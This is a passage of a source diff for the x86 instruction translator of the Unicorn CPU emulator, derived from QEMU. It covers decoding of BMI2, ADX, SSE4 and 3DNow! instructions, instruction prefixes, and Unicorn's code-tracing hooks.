{ + goto illegal_op; + } + ot = mo_64_32(s->dflag); + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 0); + tcg_gen_ext8u_tl(tcg_ctx, *cpu_T[1], *cpu_regs[s->vex_v]); + { + TCGv bound = tcg_const_tl(tcg_ctx, ot == MO_64 ? 63 : 31); + /* Note that since we're using BMILG (in order to get O + cleared) we need to store the inverse into C. */ + tcg_gen_setcond_tl(tcg_ctx, TCG_COND_LT, cpu_cc_src, + *cpu_T[1], bound); + tcg_gen_movcond_tl(tcg_ctx, TCG_COND_GT, *cpu_T[1], *cpu_T[1], + bound, bound, *cpu_T[1]); + tcg_temp_free(tcg_ctx, bound); + } + tcg_gen_movi_tl(tcg_ctx, cpu_A0, -1); + tcg_gen_shl_tl(tcg_ctx, cpu_A0, cpu_A0, *cpu_T[1]); + tcg_gen_andc_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], cpu_A0); + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[0]); + gen_op_update1_cc(tcg_ctx); + set_cc_op(s, CC_OP_BMILGB + ot); + break; + + case 0x3f6: /* mulx By, Gy, rdx, Ey */ + if (!(s->cpuid_7_0_ebx_features & CPUID_7_0_EBX_BMI2) + || !(s->prefix & PREFIX_VEX) + || s->vex_l != 0) { + goto illegal_op; + } + ot = mo_64_32(s->dflag); + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 0); + switch (ot) { + default: + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp3_i32, *cpu_regs[R_EDX]); + tcg_gen_mulu2_i32(tcg_ctx, cpu_tmp2_i32, cpu_tmp3_i32, + cpu_tmp2_i32, cpu_tmp3_i32); + tcg_gen_extu_i32_tl(tcg_ctx, *cpu_regs[s->vex_v], cpu_tmp2_i32); + tcg_gen_extu_i32_tl(tcg_ctx, *cpu_regs[reg], cpu_tmp3_i32); + break; +#ifdef TARGET_X86_64 + case MO_64: + tcg_gen_mulu2_i64(tcg_ctx, *cpu_T[0], *cpu_T[1], + *cpu_T[0], *cpu_regs[R_EDX]); + tcg_gen_mov_i64(tcg_ctx, *cpu_regs[s->vex_v], *cpu_T[0]); + tcg_gen_mov_i64(tcg_ctx, *cpu_regs[reg], *cpu_T[1]); + break; +#endif + } + break; + + case 0x3f5: /* pdep Gy, By, Ey */ + if (!(s->cpuid_7_0_ebx_features & CPUID_7_0_EBX_BMI2) + || !(s->prefix & PREFIX_VEX) + || s->vex_l != 0) { + goto illegal_op; + } + ot = mo_64_32(s->dflag); + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 0); + /* Note that by zero-extending the mask operand, we + automatically handle zero-extending the result. */ + if (ot == MO_64) { + tcg_gen_mov_tl(tcg_ctx, *cpu_T[1], *cpu_regs[s->vex_v]); + } else { + tcg_gen_ext32u_tl(tcg_ctx, *cpu_T[1], *cpu_regs[s->vex_v]); + } + gen_helper_pdep(tcg_ctx, *cpu_regs[reg], *cpu_T[0], *cpu_T[1]); + break; + + case 0x2f5: /* pext Gy, By, Ey */ + if (!(s->cpuid_7_0_ebx_features & CPUID_7_0_EBX_BMI2) + || !(s->prefix & PREFIX_VEX) + || s->vex_l != 0) { + goto illegal_op; + } + ot = mo_64_32(s->dflag); + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 0); + /* Note that by zero-extending the mask operand, we + automatically handle zero-extending the result. */ + if (ot == MO_64) { + tcg_gen_mov_tl(tcg_ctx, *cpu_T[1], *cpu_regs[s->vex_v]); + } else { + tcg_gen_ext32u_tl(tcg_ctx, *cpu_T[1], *cpu_regs[s->vex_v]); + } + gen_helper_pext(tcg_ctx, *cpu_regs[reg], *cpu_T[0], *cpu_T[1]); + break; + + case 0x1f6: /* adcx Gy, Ey */ + case 0x2f6: /* adox Gy, Ey */ + if (!(s->cpuid_7_0_ebx_features & CPUID_7_0_EBX_ADX)) { + goto illegal_op; + } else { + TCGv carry_in, carry_out, zero; + int end_op; + + ot = mo_64_32(s->dflag); + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 0); + + /* Re-use the carry-out from a previous round. */ + TCGV_UNUSED(carry_in); + carry_out = (b == 0x1f6 ? cpu_cc_dst : cpu_cc_src2); + switch (s->cc_op) { + case CC_OP_ADCX: + if (b == 0x1f6) { + carry_in = cpu_cc_dst; + end_op = CC_OP_ADCX; + } else { + end_op = CC_OP_ADCOX; + } + break; + case CC_OP_ADOX: + if (b == 0x1f6) { + end_op = CC_OP_ADCOX; + } else { + carry_in = cpu_cc_src2; + end_op = CC_OP_ADOX; + } + break; + case CC_OP_ADCOX: + end_op = CC_OP_ADCOX; + carry_in = carry_out; + break; + default: + end_op = (b == 0x1f6 ? CC_OP_ADCX : CC_OP_ADOX); + break; + } + /* If we can't reuse carry-out, get it out of EFLAGS. */ + if (TCGV_IS_UNUSED(carry_in)) { + if (s->cc_op != CC_OP_ADCX && s->cc_op != CC_OP_ADOX) { + gen_compute_eflags(s); + } + carry_in = cpu_tmp0; + tcg_gen_shri_tl(tcg_ctx, carry_in, cpu_cc_src, + ctz32(b == 0x1f6 ? CC_C : CC_O)); + tcg_gen_andi_tl(tcg_ctx, carry_in, carry_in, 1); + } + + switch (ot) { +#ifdef TARGET_X86_64 + case MO_32: + /* If we know TL is 64-bit, and we want a 32-bit + result, just do everything in 64-bit arithmetic. */ + tcg_gen_ext32u_i64(tcg_ctx, *cpu_regs[reg], *cpu_regs[reg]); + tcg_gen_ext32u_i64(tcg_ctx, *cpu_T[0], *cpu_T[0]); + tcg_gen_add_i64(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_regs[reg]); + tcg_gen_add_i64(tcg_ctx, *cpu_T[0], *cpu_T[0], carry_in); + tcg_gen_ext32u_i64(tcg_ctx, *cpu_regs[reg], *cpu_T[0]); + tcg_gen_shri_i64(tcg_ctx, carry_out, *cpu_T[0], 32); + break; +#endif + default: + /* Otherwise compute the carry-out in two steps. */ + zero = tcg_const_tl(tcg_ctx, 0); + tcg_gen_add2_tl(tcg_ctx, *cpu_T[0], carry_out, + *cpu_T[0], zero, + carry_in, zero); + tcg_gen_add2_tl(tcg_ctx, *cpu_regs[reg], carry_out, + *cpu_regs[reg], carry_out, + *cpu_T[0], zero); + tcg_temp_free(tcg_ctx, zero); + break; + } + set_cc_op(s, end_op); + } + break; + + case 0x1f7: /* shlx Gy, Ey, By */ + case 0x2f7: /* sarx Gy, Ey, By */ + case 0x3f7: /* shrx Gy, Ey, By */ + if (!(s->cpuid_7_0_ebx_features & CPUID_7_0_EBX_BMI2) + || !(s->prefix & PREFIX_VEX) + || s->vex_l != 0) { + goto illegal_op; + } + ot = mo_64_32(s->dflag); + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 0); + if (ot == MO_64) { + tcg_gen_andi_tl(tcg_ctx, *cpu_T[1], *cpu_regs[s->vex_v], 63); + } else { + tcg_gen_andi_tl(tcg_ctx, *cpu_T[1], *cpu_regs[s->vex_v], 31); + } + if (b == 0x1f7) { + tcg_gen_shl_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + } else if (b == 0x2f7) { + if (ot != MO_64) { + tcg_gen_ext32s_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + } + tcg_gen_sar_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + } else { + if (ot != MO_64) { + tcg_gen_ext32u_tl(tcg_ctx, *cpu_T[0], *cpu_T[0]); + } + tcg_gen_shr_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + } + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[0]); + break; + + case 0x0f3: + case 0x1f3: + case 0x2f3: + case 0x3f3: /* Group 17 */ + if (!(s->cpuid_7_0_ebx_features & CPUID_7_0_EBX_BMI1) + || !(s->prefix & PREFIX_VEX) + || s->vex_l != 0) { + goto illegal_op; + } + ot = mo_64_32(s->dflag); + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 0); + + switch (reg & 7) { + case 1: /* blsr By,Ey */ + tcg_gen_neg_tl(tcg_ctx, *cpu_T[1], *cpu_T[0]); + tcg_gen_and_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], *cpu_T[1]); + gen_op_mov_reg_v(tcg_ctx, ot, s->vex_v, *cpu_T[0]); + gen_op_update2_cc(tcg_ctx); + set_cc_op(s, CC_OP_BMILGB + ot); + break; + + case 2: /* blsmsk By,Ey */ + tcg_gen_mov_tl(tcg_ctx, cpu_cc_src, *cpu_T[0]); + tcg_gen_subi_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], 1); + tcg_gen_xor_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], cpu_cc_src); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_dst, *cpu_T[0]); + set_cc_op(s, CC_OP_BMILGB + ot); + break; + + case 3: /* blsi By, Ey */ + tcg_gen_mov_tl(tcg_ctx, cpu_cc_src, *cpu_T[0]); + tcg_gen_subi_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], 1); + tcg_gen_and_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], cpu_cc_src); + tcg_gen_mov_tl(tcg_ctx, cpu_cc_dst, *cpu_T[0]); + set_cc_op(s, CC_OP_BMILGB + ot); + break; + + default: + goto illegal_op; + } + break; + + default: + goto illegal_op; + } + break; + + case 0x03a: + case 0x13a: + b = modrm; + modrm = cpu_ldub_code(env, s->pc++); + rm = modrm & 7; + reg = ((modrm >> 3) & 7) | rex_r; + mod = (modrm >> 6) & 3; + if (b1 >= 2) { + goto illegal_op; + } + + sse_fn_eppi = sse_op_table7[b].op[b1]; + if (!sse_fn_eppi) { + goto illegal_op; + } + if (!(s->cpuid_ext_features & sse_op_table7[b].ext_mask)) + goto illegal_op; + + if (sse_fn_eppi == SSE_SPECIAL) { + ot = mo_64_32(s->dflag); + rm = (modrm & 7) | REX_B(s); + if (mod != 3) + gen_lea_modrm(env, s, modrm); + reg = ((modrm >> 3) & 7) | rex_r; + val = cpu_ldub_code(env, s->pc++); + switch (b) { + case 0x14: /* pextrb */ + tcg_gen_ld8u_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State, + xmm_regs[reg].XMM_B(val & 15))); + if (mod == 3) { + gen_op_mov_reg_v(tcg_ctx, ot, rm, *cpu_T[0]); + } else { + tcg_gen_qemu_st_tl(s->uc, *cpu_T[0], cpu_A0, + s->mem_index, MO_UB); + } + break; + case 0x15: /* pextrw */ + tcg_gen_ld16u_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State, + xmm_regs[reg].XMM_W(val & 7))); + if (mod == 3) { + gen_op_mov_reg_v(tcg_ctx, ot, rm, *cpu_T[0]); + } else { + tcg_gen_qemu_st_tl(s->uc, *cpu_T[0], cpu_A0, + s->mem_index, MO_LEUW); + } + break; + case 0x16: + if (ot == MO_32) { /* pextrd */ + tcg_gen_ld_i32(tcg_ctx, cpu_tmp2_i32, cpu_env, + offsetof(CPUX86State, + xmm_regs[reg].XMM_L(val & 3))); + if (mod == 3) { + tcg_gen_extu_i32_tl(tcg_ctx, *cpu_regs[rm], cpu_tmp2_i32); + } else { + tcg_gen_qemu_st_i32(s->uc, cpu_tmp2_i32, cpu_A0, + s->mem_index, MO_LEUL); + } + } else { /* pextrq */ +#ifdef TARGET_X86_64 + tcg_gen_ld_i64(tcg_ctx, cpu_tmp1_i64, cpu_env, + offsetof(CPUX86State, + xmm_regs[reg].XMM_Q(val & 1))); + if (mod == 3) { + tcg_gen_mov_i64(tcg_ctx, *cpu_regs[rm], cpu_tmp1_i64); + } else { + tcg_gen_qemu_st_i64(s->uc, cpu_tmp1_i64, cpu_A0, + s->mem_index, MO_LEQ); + } +#else + goto illegal_op; +#endif + } + break; + case 0x17: /* extractps */ + tcg_gen_ld32u_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State, + xmm_regs[reg].XMM_L(val & 3))); + if (mod == 3) { + gen_op_mov_reg_v(tcg_ctx, ot, rm, *cpu_T[0]); + } else { + tcg_gen_qemu_st_tl(s->uc, *cpu_T[0], cpu_A0, + s->mem_index, MO_LEUL); + } + break; + case 0x20: /* pinsrb */ + if (mod == 3) { + gen_op_mov_v_reg(tcg_ctx, MO_32, *cpu_T[0], rm); + } else { + tcg_gen_qemu_ld_tl(s->uc, *cpu_T[0], cpu_A0, + s->mem_index, MO_UB); + } + tcg_gen_st8_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State, + xmm_regs[reg].XMM_B(val & 15))); + break; + case 0x21: /* insertps */ + if (mod == 3) { + tcg_gen_ld_i32(tcg_ctx, cpu_tmp2_i32, cpu_env, + offsetof(CPUX86State,xmm_regs[rm] + .XMM_L((val >> 6) & 3))); + } else { + tcg_gen_qemu_ld_i32(s->uc, cpu_tmp2_i32, cpu_A0, + s->mem_index, MO_LEUL); + } + tcg_gen_st_i32(tcg_ctx, cpu_tmp2_i32, cpu_env, + offsetof(CPUX86State,xmm_regs[reg] + .XMM_L((val >> 4) & 3))); + if ((val >> 0) & 1) + tcg_gen_st_i32(tcg_ctx, tcg_const_i32(tcg_ctx, 0 /*float32_zero*/), + cpu_env, offsetof(CPUX86State, + xmm_regs[reg].XMM_L(0))); + if ((val >> 1) & 1) + tcg_gen_st_i32(tcg_ctx, tcg_const_i32(tcg_ctx, 0 /*float32_zero*/), + cpu_env, offsetof(CPUX86State, + xmm_regs[reg].XMM_L(1))); + if ((val >> 2) & 1) + tcg_gen_st_i32(tcg_ctx, tcg_const_i32(tcg_ctx, 0 /*float32_zero*/), + cpu_env, offsetof(CPUX86State, + xmm_regs[reg].XMM_L(2))); + if ((val >> 3) & 1) + tcg_gen_st_i32(tcg_ctx, tcg_const_i32(tcg_ctx, 0 /*float32_zero*/), + cpu_env, offsetof(CPUX86State, + xmm_regs[reg].XMM_L(3))); + break; + case 0x22: + if (ot == MO_32) { /* pinsrd */ + if (mod == 3) { + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_regs[rm]); + } else { + tcg_gen_qemu_ld_i32(s->uc, cpu_tmp2_i32, cpu_A0, + s->mem_index, MO_LEUL); + } + tcg_gen_st_i32(tcg_ctx, cpu_tmp2_i32, cpu_env, + offsetof(CPUX86State, + xmm_regs[reg].XMM_L(val & 3))); + } else { /* pinsrq */ +#ifdef TARGET_X86_64 + if (mod == 3) { + gen_op_mov_v_reg(tcg_ctx, ot, cpu_tmp1_i64, rm); + } else { + tcg_gen_qemu_ld_i64(s->uc, cpu_tmp1_i64, cpu_A0, + s->mem_index, MO_LEQ); + } + tcg_gen_st_i64(tcg_ctx, cpu_tmp1_i64, cpu_env, + offsetof(CPUX86State, + xmm_regs[reg].XMM_Q(val & 1))); +#else + goto illegal_op; +#endif + } + break; + } + return; + } + + if (b1) { + op1_offset = offsetof(CPUX86State,xmm_regs[reg]); + if (mod == 3) { + op2_offset = offsetof(CPUX86State,xmm_regs[rm | REX_B(s)]); + } else { + op2_offset = offsetof(CPUX86State,xmm_t0); + gen_lea_modrm(env, s, modrm); + gen_ldo_env_A0(s, op2_offset); + } + } else { + op1_offset = offsetof(CPUX86State,fpregs[reg].mmx); + if (mod == 3) { + op2_offset = offsetof(CPUX86State,fpregs[rm].mmx); + } else { + op2_offset = offsetof(CPUX86State,mmx_t0); + gen_lea_modrm(env, s, modrm); + gen_ldq_env_A0(s, op2_offset); + } + } + val = cpu_ldub_code(env, s->pc++); + + if ((b & 0xfc) == 0x60) { /* pcmpXstrX */ + set_cc_op(s, CC_OP_EFLAGS); + + if (s->dflag == MO_64) { + /* The helper must use entire 64-bit gp registers */ + val |= 1 << 8; + } + } + + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, op1_offset); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr1, cpu_env, op2_offset); + sse_fn_eppi(tcg_ctx, cpu_env, cpu_ptr0, cpu_ptr1, tcg_const_i32(tcg_ctx, val)); + break; + + case 0x33a: + /* Various integer extensions at 0f 3a f[0-f]. */ + b = modrm | (b1 << 8); + modrm = cpu_ldub_code(env, s->pc++); + reg = ((modrm >> 3) & 7) | rex_r; + + switch (b) { + case 0x3f0: /* rorx Gy,Ey, Ib */ + if (!(s->cpuid_7_0_ebx_features & CPUID_7_0_EBX_BMI2) + || !(s->prefix & PREFIX_VEX) + || s->vex_l != 0) { + goto illegal_op; + } + ot = mo_64_32(s->dflag); + gen_ldst_modrm(env, s, modrm, ot, OR_TMP0, 0); + b = cpu_ldub_code(env, s->pc++); + if (ot == MO_64) { + tcg_gen_rotri_tl(tcg_ctx, *cpu_T[0], *cpu_T[0], b & 63); + } else { + tcg_gen_trunc_tl_i32(tcg_ctx, cpu_tmp2_i32, *cpu_T[0]); + tcg_gen_rotri_i32(tcg_ctx, cpu_tmp2_i32, cpu_tmp2_i32, b & 31); + tcg_gen_extu_i32_tl(tcg_ctx, *cpu_T[0], cpu_tmp2_i32); + } + gen_op_mov_reg_v(tcg_ctx, ot, reg, *cpu_T[0]); + break; + + default: + goto illegal_op; + } + break; + + default: + goto illegal_op; + } + } else { + /* generic MMX or SSE operation */ + switch(b) { + case 0x70: /* pshufx insn */ + case 0xc6: /* pshufx insn */ + case 0xc2: /* compare insns */ + s->rip_offset = 1; + break; + default: + break; + } + if (is_xmm) { + op1_offset = offsetof(CPUX86State,xmm_regs[reg]); + if (mod != 3) { + int sz = 4; + + gen_lea_modrm(env, s, modrm); + op2_offset = offsetof(CPUX86State,xmm_t0); + + if( (b >= 0x50 && b <= 0x5a) || + (b >= 0x5c && b <= 0x5f) || + b == 0xc2 ) { + /* Most sse scalar operations. */ + if (b1 == 2) { + sz = 2; + } else if (b1 == 3) { + sz = 3; + } + } else if( b == 0x2e || /* ucomis[sd] */ + b == 0x2f ) /* comis[sd] */ + { + if (b1 == 0) { + sz = 2; + } else { + sz = 3; + } + } + + switch (sz) { + case 2: + /* 32 bit access */ + gen_op_ld_v(s, MO_32, *cpu_T[0], cpu_A0); + tcg_gen_st32_tl(tcg_ctx, *cpu_T[0], cpu_env, + offsetof(CPUX86State,xmm_t0.XMM_L(0))); + break; + case 3: + /* 64 bit access */ + gen_ldq_env_A0(s, offsetof(CPUX86State, xmm_t0.XMM_D(0))); + break; + default: + /* 128 bit access */ + gen_ldo_env_A0(s, op2_offset); + break; + } + } else { + rm = (modrm & 7) | REX_B(s); + op2_offset = offsetof(CPUX86State,xmm_regs[rm]); + } + } else { + op1_offset = offsetof(CPUX86State,fpregs[reg].mmx); + if (mod != 3) { + gen_lea_modrm(env, s, modrm); + op2_offset = offsetof(CPUX86State,mmx_t0); + gen_ldq_env_A0(s, op2_offset); + } else { + rm = (modrm & 7); + op2_offset = offsetof(CPUX86State,fpregs[rm].mmx); + } + } + switch(b) { + case 0x0f: /* 3DNow! data insns */ + if (!(s->cpuid_ext2_features & CPUID_EXT2_3DNOW)) + goto illegal_op; + val = cpu_ldub_code(env, s->pc++); + sse_fn_epp = sse_op_table5[val]; + if (!sse_fn_epp) { + goto illegal_op; + } + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, op1_offset); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr1, cpu_env, op2_offset); + sse_fn_epp(tcg_ctx, cpu_env, cpu_ptr0, cpu_ptr1); + break; + case 0x70: /* pshufx insn */ + case 0xc6: /* pshufx insn */ + val = cpu_ldub_code(env, s->pc++); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, op1_offset); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr1, cpu_env, op2_offset); + /* XXX: introduce a new table? */ + sse_fn_ppi = (SSEFunc_0_ppi)sse_fn_epp; + sse_fn_ppi(tcg_ctx, cpu_ptr0, cpu_ptr1, tcg_const_i32(tcg_ctx, val)); + break; + case 0xc2: + /* compare insns */ + val = cpu_ldub_code(env, s->pc++); + if (val >= 8) + goto illegal_op; + sse_fn_epp = sse_op_table4[val][b1]; + + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, op1_offset); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr1, cpu_env, op2_offset); + sse_fn_epp(tcg_ctx, cpu_env, cpu_ptr0, cpu_ptr1); + break; + case 0xf7: + /* maskmov : we must prepare A0 */ + if (mod != 3) + goto illegal_op; + tcg_gen_mov_tl(tcg_ctx, cpu_A0, *cpu_regs[R_EDI]); + gen_extu(tcg_ctx, s->aflag, cpu_A0); + gen_add_A0_ds_seg(s); + + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, op1_offset); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr1, cpu_env, op2_offset); + /* XXX: introduce a new table? */ + sse_fn_eppt = (SSEFunc_0_eppt)sse_fn_epp; + sse_fn_eppt(tcg_ctx, cpu_env, cpu_ptr0, cpu_ptr1, cpu_A0); + break; + default: + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr0, cpu_env, op1_offset); + tcg_gen_addi_ptr(tcg_ctx, cpu_ptr1, cpu_env, op2_offset); + sse_fn_epp(tcg_ctx, cpu_env, cpu_ptr0, cpu_ptr1); + break; + } + if (b == 0x2e || b == 0x2f) { + set_cc_op(s, CC_OP_EFLAGS); + } + } +} + +// Unicorn: sync EFLAGS on demand +static void sync_eflags(DisasContext *s, TCGContext *tcg_ctx) +{ + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + TCGv_ptr cpu_env = tcg_ctx->cpu_env; + + gen_update_cc_op(s); + gen_helper_read_eflags(tcg_ctx, *cpu_T[0], cpu_env); + tcg_gen_st_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State, eflags)); +} + +/* +static void restore_eflags(DisasContext *s, TCGContext *tcg_ctx) +{ + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + TCGv_ptr cpu_env = tcg_ctx->cpu_env; + + tcg_gen_ld_tl(tcg_ctx, *cpu_T[0], cpu_env, offsetof(CPUX86State, eflags)); + gen_helper_write_eflags(tcg_ctx, cpu_env, *cpu_T[0], + tcg_const_i32(tcg_ctx, (TF_MASK | AC_MASK | ID_MASK | NT_MASK) & 0xffff)); + set_cc_op(s, CC_OP_EFLAGS); +} +*/ + +/* convert one instruction. s->is_jmp is set if the translation must + be stopped. Return the next pc value */ +static target_ulong disas_insn(CPUX86State *env, DisasContext *s, + target_ulong pc_start) // qq +{ + int b, prefixes; + int shift; + TCGMemOp ot, aflag, dflag; + int modrm, reg, rm, mod, op, opreg, val; + target_ulong next_eip, tval; + int rex_w, rex_r; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_ptr cpu_env = tcg_ctx->cpu_env; + TCGv_i32 cpu_tmp2_i32 = tcg_ctx->cpu_tmp2_i32; + TCGv_i32 cpu_tmp3_i32 = tcg_ctx->cpu_tmp3_i32; + TCGv_i64 cpu_tmp1_i64 = tcg_ctx->cpu_tmp1_i64; + TCGv cpu_A0 = *(TCGv *)tcg_ctx->cpu_A0; + TCGv cpu_cc_dst = *(TCGv *)tcg_ctx->cpu_cc_dst; + TCGv cpu_cc_src = *(TCGv *)tcg_ctx->cpu_cc_src; + TCGv cpu_cc_srcT = *(TCGv *)tcg_ctx->cpu_cc_srcT; + TCGv cpu_tmp0 = *(TCGv *)tcg_ctx->cpu_tmp0; + TCGv cpu_tmp4 = *(TCGv *)tcg_ctx->cpu_tmp4; + TCGv **cpu_T = (TCGv **)tcg_ctx->cpu_T; + TCGv **cpu_regs = (TCGv **)tcg_ctx->cpu_regs; + TCGArg *save_opparam_ptr = tcg_ctx->gen_opparam_ptr; + bool cc_op_dirty = s->cc_op_dirty; + bool changed_cc_op = false; + + s->pc = pc_start; + s->prefix = 0; + + // end address tells us to stop emulation + if (s->pc == s->uc->addr_end) { + // imitate the HLT instruction + gen_update_cc_op(s); + gen_jmp_im(s, pc_start - s->cs_base); + gen_helper_hlt(tcg_ctx, cpu_env, tcg_const_i32(tcg_ctx, s->pc - pc_start)); + s->is_jmp = DISAS_TB_JUMP; + return s->pc; + } + + if (unlikely(qemu_loglevel_mask(CPU_LOG_TB_OP | CPU_LOG_TB_OP_OPT))) { + tcg_gen_debug_insn_start(tcg_ctx, pc_start); + } + + // Unicorn: trace this instruction on request + if (HOOK_EXISTS_BOUNDED(env->uc, UC_HOOK_CODE, pc_start)) { + if (s->last_cc_op != s->cc_op) { + sync_eflags(s, tcg_ctx); + s->last_cc_op = s->cc_op; + changed_cc_op = true; + } + gen_uc_tracecode(tcg_ctx, 0xf1f1f1f1, UC_HOOK_CODE_IDX, env->uc, pc_start); + // the callback might want to stop emulation immediately + check_exit_request(tcg_ctx); + } + + prefixes = 0; + s->override = -1; + rex_w = -1; + rex_r = 0; +#ifdef TARGET_X86_64 + s->rex_x = 0; + s->rex_b = 0; + s->uc = env->uc; + tcg_ctx->x86_64_hregs = 0; +#endif + s->rip_offset = 0; /* for relative ip address */ + s->vex_l = 0; + s->vex_v = 0; + next_byte: + b = cpu_ldub_code(env, s->pc); + s->pc++; + /* Collect prefixes. */ + switch (b) { + case 0xf3: + prefixes |= PREFIX_REPZ; + goto next_byte; + case 0xf2: + prefixes |= PREFIX_REPNZ; + goto next_byte; + case 0xf0: + prefixes |= PREFIX_LOCK; + goto next_byte; + case 0x2e: + s->override = R_CS; + goto next_byte; + case 0x36: + s->override = R_SS; + goto next_byte; + case 0x3e: + s->override = R_DS; + goto next_byte; + case 0x26: + s->override = R_ES; + goto next_byte; + case 0x64: + s->override = R_FS; + goto next_byte; + case 0x65: + s->override = R_GS; + goto next_byte; + case 0x66: + prefixes |= PREFIX_DATA; + goto next_byte; + case 0x67: + prefixes |= PREFIX_ADR; + goto next_byte; +#ifdef TARGET_X86_64 + case 0x40: + case 0x41: + case 0x42: + case 0x43: + case 0x44: + case 0x45: + case 0x46: + case 0x47: + case 0x48: + case 0x49: + case 0x4a: + case 0x4b: + case 0x4c: + case 0x4d: + case 0x4e: + case 0x4f: + if (CODE64(s)) { + /* REX prefix */ + rex_w = (b >> 3) & 1; + rex_r = (b & 0x4) << 1; + s->rex_x = (b & 0x2) << 2; + REX_B(s) = (b & 0x1) << 3; + tcg_ctx->x86_64_hregs = 1; /* select uniform byte register addressing */ + goto next_byte; + } + break; +#endif + case 0xc5: /* 2-byte VEX */ + case 0xc4: /* 3-byte VEX */ + /* VEX prefixes cannot be used except in 32-bit mode. + Otherwise the instruction is LES or LDS. */ + if (s->code32 && !s->vm86) { + static const int pp_prefix[4] = { + 0, PREFIX_DATA, PREFIX_REPZ, PREFIX_REPNZ + }; + int vex3, vex2 = cpu_ldub_code(env, s->pc); + + if (!CODE64(s) && (vex2 & 0xc0) != 0xc0) { + /* 4.1.4.6: In 32-bit mode, bits [7:6] must be 11b, + otherwise the instruction is LES or LDS. */ + break; + } + s->pc++; + + /* 4.1.1-4.1.3: No preceding lock, 66, f2, f3, or rex prefixes. */ + if (prefixes & (PREFIX_REPZ | PREFIX_REPNZ + | PREFIX_LOCK | PREFIX_DATA)) { + goto illegal_op; + } +#ifdef TARGET_X86_64 + if (tcg_ctx->x86_64_hregs) { + goto illegal_op; + } +#endif + rex_r = (~vex2 >> 4) & 8; + if (b == 0xc5) { + vex3 = vex2; + b = cpu_ldub_code(env, s->pc++) | 0x100; + } else { +#ifdef TARGET_X86_64 + s->rex_x = (~vex2 >> 3) & 8; + s->rex_b = (~vex2 >> 2) & 8; +#endif + vex3 = cpu_ldub_code(env, s->pc++); + rex_w = (vex3 >> 7) & 1; + switch (vex2 & 0x1f) { + case 0x01: /* Implied 0f leading opcode bytes. */ + b = cpu_ldub_code(env, s->pc++) | 0x100; + break; + case 0x02: /* Implied 0f 38 leading opcode bytes. */ + b = 0x138; + break; + case 0x03: /* Implied 0f 3a leading opcode bytes. */ + b = 0x13a; + break; + default: /* Reserved for future use. */ + goto illegal_op; + } + } + s->vex_v = (~vex3 >> 3) & 0xf; + s->vex_l = (vex3 >> 2) & 1; + prefixes |= pp_prefix[vex3 & 3] | PREFIX_VEX; + } + break; + } + + /* Post-process prefixes. */ + if (CODE64(s)) { + /* In 64-bit mode, the default data size is 32-bit. Select 64-bit + data with rex_w, and 16-bit data with 0x66; rex_w takes precedence + over 0x66 if both are present. */ + dflag = (rex_w > 0 ? MO_64 : prefixes & PREFIX_DATA ? MO_16 : MO_32); + /* In 64-bit mode, 0x67 selects 32-bit addressing. */ + aflag = (prefixes & PREFIX_ADR ? MO_32 : MO_64); + } else { + /* In 16/32-bit mode, 0x66 selects the opposite data size. */ + if (s->code32 ^ ((prefixes & PREFIX_DATA) != 0)) { // qq + dflag = MO_32; + } else { + dflag = MO_16; + } + /* In 16/32-bit mode, 0x67 selects the opposite addressing. */ + if (s->code32 ^ ((prefixes & PREFIX_ADR) != 0)) { + aflag = MO_32; + } else { + aflag = MO_16; + } + } + + s->prefix = prefixes; + s->aflag = aflag; + s->dflag = dflag; + + /* lock generation */ + if (prefixes & PREFIX_LOCK) + gen_helper_lock(tcg_ctx, cpu_env); + + /* now check op code */ + reswitch: + switch(b) { + case 0x0f: + /**************************/ + /* extended op code */ + b = cpu_ldub_code(env, s->pc++) | 0x100; + goto reswitch; + + /**************************/ + /* arith & logic */ + case 0x00: case 0x01: case 0x02: case 0x03: case 0x04: case 0x05: //case 0x00 ... 0x05: + case 0x08: case 0x09: case 0x0a: case 0x0b: case 0x0c: case 0x0d: //case 0x08 ... 0x0d: + case 0x10: case 0x11: case 0x12: case 0x13: case 0x14: case 0x15: //case 0x10 ... 0x15: + case 0x18: case 0x19: case 